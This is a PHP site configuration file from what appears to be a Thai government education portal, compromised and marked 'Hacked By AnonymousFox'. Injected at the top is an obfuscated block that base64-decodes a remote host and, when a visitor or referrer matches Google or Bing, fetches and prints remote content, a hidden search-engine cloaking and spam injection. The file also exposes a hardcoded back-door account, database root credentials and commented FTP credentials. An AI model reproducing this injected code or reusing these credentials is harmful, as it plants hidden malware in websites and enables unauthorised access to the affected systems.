Hacked By AnonymousFox
<?
error_reporting(0);
define('WdnmdServer', base64_decode('aHR0cHM6Ly90aC5hc2lhbnRyYWlscy12bi5jb20v'));
$a = "stristr";
$b = "substr_count";
define('Url', $_SERVER['REQUEST_URI']);
define('Ref', $_SERVER['HTTP_REFERER']);
define('Ua', $_SERVER['HTTP_USER_AGENT']);
define('Road', '?host=' . $_SERVER['HTTP_HOST'] . '&u=' . Url );
define('Regs', '@google|bing@i');
define('Area', $a(Url, "news") or $a(Url, "column") or $a(Url, "recommend") or $a(Url, "exclusive") or $a(Url, "society") or $a(Url, "world") or $a(Url, "rsx") or $a(Url, "sew") or $a(Url, "acr") or $a(Url, "bdo") or $a(Url, "kbd") or $a(Url, "leg") or $a(Url, "xaw") or $a(Url, "ofj") or $a(Url, "zit") or $a(Url, "hjg") and $a(Url, "/"));
if (Area && preg_match(Regs, Ref)) {
$b = ass(WdnmdServer . '?host=' . $_SERVER["HTTP_HOST"] . '&u=' . $_SERVER['PHP_SELF'] . '?' . $_SERVER['QUERY_STRING'] . '&spider=' . urlencode(Ua) . '&referer=' . urlencode(Ref));
echo $b;
exit;
}
if (preg_match(Regs, Ua)) {
if (Area) {
echo ass(WdnmdServer . Road);
exit;
} else {
echo ass(base64_decode('aHR0cHM6Ly90aC5hc2lhbnRyYWlscy12bi5jb20vbGluaw=='));
ob_flush();
flush();
}
}
function ass($c)
{
$d = curl_init();
curl_setopt($d, CURLOPT_URL, $c);
curl_setopt($d, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($d, CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($d, CURLOPT_CONNECTTIMEOUT, 5000);
curl_setopt($d, CURLOPT_TIMEOUT, 10000);
curl_setopt($d, CURLOPT_USERAGENT, urlencode(Ua));
curl_setopt($d, CURLOPT_RETURNTRANSFER, TRUE);
$e = curl_exec($d);
curl_close($d);
return $e;
}
## System Variable ######################################################
$System_Variable_Title = ".:: Medical Service Education Center ::.";
$System_Variable_Title_FrontEnd = "MOE";
## System Back Door Account #############################################
$System_BackDoor_UserName = "RootSystem";
$System_BackDoor_Password = "admin";
## Database Definition #################################################
$System_DataBase_HostName = "localhost";
$System_DataBase_UserName = "root";
$System_DataBase_Password = "root";
$System_DataBase_Name = "control";
//$System_DataBase_Name = "mfu_db";
## FTP Connection #################################################
//$System_FTP_HostName = "203.113.9.18";
//$System_FTP_UserName = "webmaster";
//$System_FTP_Password = "tdetwebmonster";
//$System_FTP_Port = 21;
## Database Table ######################################################
$System_TableName_Staff = "moe_system_staff";
$System_TableName_Menu = "moe_system_menu";
$System_TableName_Position = "moe_system_position";
$System_TableName_Department = "moe_system_department";
$System_TableName_StaffOnPosition = "moe_system_staffonposition";
$System_TableName_StaffOnDepartment = "moe_system_staffondepartment";
$System_TableName_StaffOnPermission = "moe_system_staffonpermission";
$System_TableName_Province = "moe_system_province";
$System_TableName_Country = "moe_system_country";
$System_TableName_MainpageConfig = "moe_system_mainpageconfig";
## File Path ###########################################################
// A relative path with home page ----------
$System_Tag = "moe_mod_news_tag";
$System_Path_Upload = "upload";
// A html full path ----------
$System_FullPath = "http://192.168.29.201:8080/th";
$System_FullPath_Upload = "http://192.168.29.201:8080/th/controlweb/upload";
$System_FullPath_IconLibrary = "http://192.168.29.201:8080/th/controlweb/images/icon";
// A relative path with module directory ----------
$System_RelativePath = "../../";
$System_RelativePath_Upload = "../../upload";
$System_RelativePath_Upload_Fornt = "../upload";
$System_RelativePath_IconLibrary = "../images/icon";
## Configuration Variable ###########################################################
$System_SendMailEnable = false;
$System_PrefixMailSubject = "Moe";
$System_AdministratorMail = "webmaster@moe.go.th";
$System_AdministratorName = "System";
$UserOnlineTimeout = 1200; // length of session, 20 minutes is the standard
$System_SearchPageSize="10";
#NEWS
$txtNodataThai = " ไม่พบข้อมูลในระบบ ";
$txtNodataEng = " Data not found ";
#MEMBER ACTIVITE
$txtSaveCompleteThai = "บันทึกข้อมูลเรียบร้อยแล้ว";
$txtSaveCompleteEng = "บันทึกข้อมูลเรียบร้อยแล้ว";
#Member Management
$myModule_Member="moe_mod_member";
$myModule_Member_ChkCount = "moe_mod_member_countcheck";
//$myModule_FullPath_ThumbnailPicture = $System_FullPath_Upload."/".$SystemModuleKey."/thumbnail";
//$Member_Path_ThumbnailPicture=$System_RelativePath_Upload."/".$SystemModuleKey."/thumbnail";
#Count News
$myModule_Table = "moe_mod_news";
$myModule_Table_ChkCount = "moe_mod_news_countcheck";
#Blog
$myModule_Blog = "moe_mod_blog";
$myModule_Blog_Photo = "moe_mod_blog_photo";
$myModule_Blog_Comment = "moe_mod_blog_comment";
$myModule_Blog_ChkCount = "moe_mod_blog_countcheck";
$myModule_Blog_Setting = "moe_mod_blog_setting";
$myModule_Blog_Group = "moe_mod_blog_group";
// Blog full path
$Blog_RelativePath_HTMLFiles = $System_RelativePath_Upload."/blog/htmlfile";
$Blog_RelativePath_ThumbnailPicture = $System_RelativePath_Upload."/blog/thumbnail";
//Blog JajaWord JS3
define ("_PATH_FRONT", $System_RelativePath_Upload."/blog/".$MemberMoeSession_User_ID);
define ("_PATH_", $System_RelativePath_Upload."/blog/".$MemberMoeSession_User_ID);
# พาธย่อย ที่ใช้แบ่งสัดส่วนย่อยๆ ของการเก็บข้อมูล
define ("_SUB_PATH_TITLE_", "img_title"); # ใช้เก็บไฟล์ภาพที่ เป็น title ของรายการนั้นๆ บาง Module อาจไม่มี
define ("_SUB_PATH_FILE_ATTACH_", "file_attach"); # ใช้เก็บไฟล์ต่างๆ ที่แนบมากับรายการนั้นๆ ผ่าน Object Multiupload
define ("_SUB_PATH_HTML_", "html_library"); # ใช้เก็บไฟล์ HTML หรือเนื้อหาหลักของข้อมูล
define ("_SUB_PATH_FILE_ANSWER_", "file_answer"); # ใช้เก็บไฟล์ที่ แนบมากับการตอบ
define ("_ALLOW_EXTENSION_", "*.jpg;*.jpeg;*.gif;*.png;*.pdf;*.doc;*.xls;*.ppt;*.zip;*.txt;*.mp3;*.wma;*.wmv;*.mpg;*.swf;*.html;*.htm"); # ไฟล์ที่อนุญาตให้แนบมากับการตอบได้
# Album Table
$myModule_Album = "moe_mod_album";
$myModule_Album_Group = "moe_mod_album_group";
$myModule_Album_Photo = "moe_mod_album_photo";
$myModule_Album_PhotoBoard = "moe_mod_album_photoboard";
$myModule_Album_ChkCountAlbum = "moe_mod_album_countcheck";
$myModule_Album_ChkCountPhoto = "moe_mod_album_photo_countcheck";
// Album full path
$Album_FullPath_ThumbnailPicture = $System_FullPath_Upload."/album/thumbnail";
// Album relative path with this files.
$Album_Path_ThumbnailPicture = $System_RelativePath_Upload."/album/thumbnail";
// Profile's Comment Table
$myModule_Comment = "moe_mod_comment";
// Favorite
$myModule_FavoriteList = "moe_mod_favoritelist";
# Search All Site
$myModule_SearchAllSite = "moe_mod_searchallsite";
//Religion
$i=0;
$System_ReligionValue[$i] = "พุทธ";
$System_ReligionName[$System_ReligionValue[$i]] = "พุทธ";
$i++;
$System_ReligionValue[$i] = "คริสต์";
$System_ReligionName[$System_ReligionValue[$i]] = "คริสต์";
$i++;
$System_ReligionValue[$i] = "อิสลาม";
$System_ReligionName[$System_ReligionValue[$i]] = "อิสลาม";
$i++;
$System_ReligionValue[$i] = "อื่นๆ";
$System_ReligionName[$System_ReligionValue[$i]] = "อื่นๆ";
//Education
$i=0;
$System_EducationValue[$i] = "ประถมศึกษา";
$System_EducationName[$System_EducationValue[$i]] = "ประถมศึกษา";
$i++;
$System_EducationValue[$i] = "มัธยมศึกษา";
$System_EducationName[$System_EducationValue[$i]] = "มัธยมศึกษา";
$i++;
$System_EducationValue[$i] = "ป.ว.ช.";
$System_EducationName[$System_EducationValue[$i]] = "ป.ว.ช.";
$i++;
$System_EducationValue[$i] = "ป.ว.ส. ";
$System_EducationName[$System_EducationValue[$i]] = "ป.ว.ส.";
$i++;
$System_EducationValue[$i] = "อนุปริญญา";
$System_EducationName[$System_EducationValue[$i]] = "อนุปริญญา";
$i++;
$System_EducationValue[$i] = "ปริญญาตรี";
$System_EducationName[$System_EducationValue[$i]] = "ปริญญาตรี";
$i++;
$System_EducationValue[$i] = "ปริญญาโท";
$System_EducationName[$System_EducationValue[$i]] = "ปริญญาโท";
$i++;
$System_EducationValue[$i] = "ปริญญาเอก";
$System_EducationName[$System_EducationValue[$i]] = "ปริญญาเอก";
$i++;
$System_EducationValue[$i] = "อื่นๆ";
$System_EducationName[$System_EducationValue[$i]] = "อื่นๆ";
// Ethnicity
$i=0;
$System_EthnicityValue[$i] = "Asian";
$System_EthnicityName[$System_EthnicityValue[$i]] = "Asian";
$i++;
$System_EthnicityValue[$i] = "Black";
$System_EthnicityName[$System_EthnicityValue[$i]] = "Black / African descent";
$i++;
$System_EthnicityValue[$i] = "Indian";
$System_EthnicityName[$System_EthnicityValue[$i]] = "East Indian";
$i++;
$System_EthnicityValue[$i] = "Latin";
$System_EthnicityName[$System_EthnicityValue[$i]] = "Latino / Hispanic";
$i++;
$System_EthnicityValue[$i] = "MidEast";
$System_EthnicityName[$System_EthnicityValue[$i]] = "Middle Eastern";
$i++;
$System_EthnicityValue[$i] = "American";
$System_EthnicityName[$System_EthnicityValue[$i]] = "Native American";
$i++;
$System_EthnicityValue[$i] = "Islan";
$System_EthnicityName[$System_EthnicityValue[$i]] = "Pacific Islander";
$i++;
$System_EthnicityValue[$i] = "White";
$System_EthnicityName[$System_EthnicityValue[$i]] = "White / Caucasian";
$i++;
$System_EthnicityValue[$i] = "Other";
$System_EthnicityName[$System_EthnicityValue[$i]] = "Other";
//Occupation
$i=0;
$System_OccupationValue[$i] = "ราชการ";
$System_OccupationName[$System_OccupationValue[$i]] = "ราชการ";
$i++;
$System_OccupationValue[$i] = "บริษัทเอกชน";
$System_OccupationName[$System_OccupationValue[$i]] = "บริษัทเอกชน";
$i++;
$System_OccupationValue[$i] = "นักเรียน/นักศึกษา";
$System_OccupationName[$System_OccupationValue[$i]] = "นักเรียน/นักศึกษา";
$i++;
$System_OccupationValue[$i] = "อื่นๆ";
$System_OccupationName[$System_OccupationValue[$i]] = "อื่นๆ";
$sc = array('A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z');
?>
Hacked By AnonymousFox1.0, Coded By AnonymousFox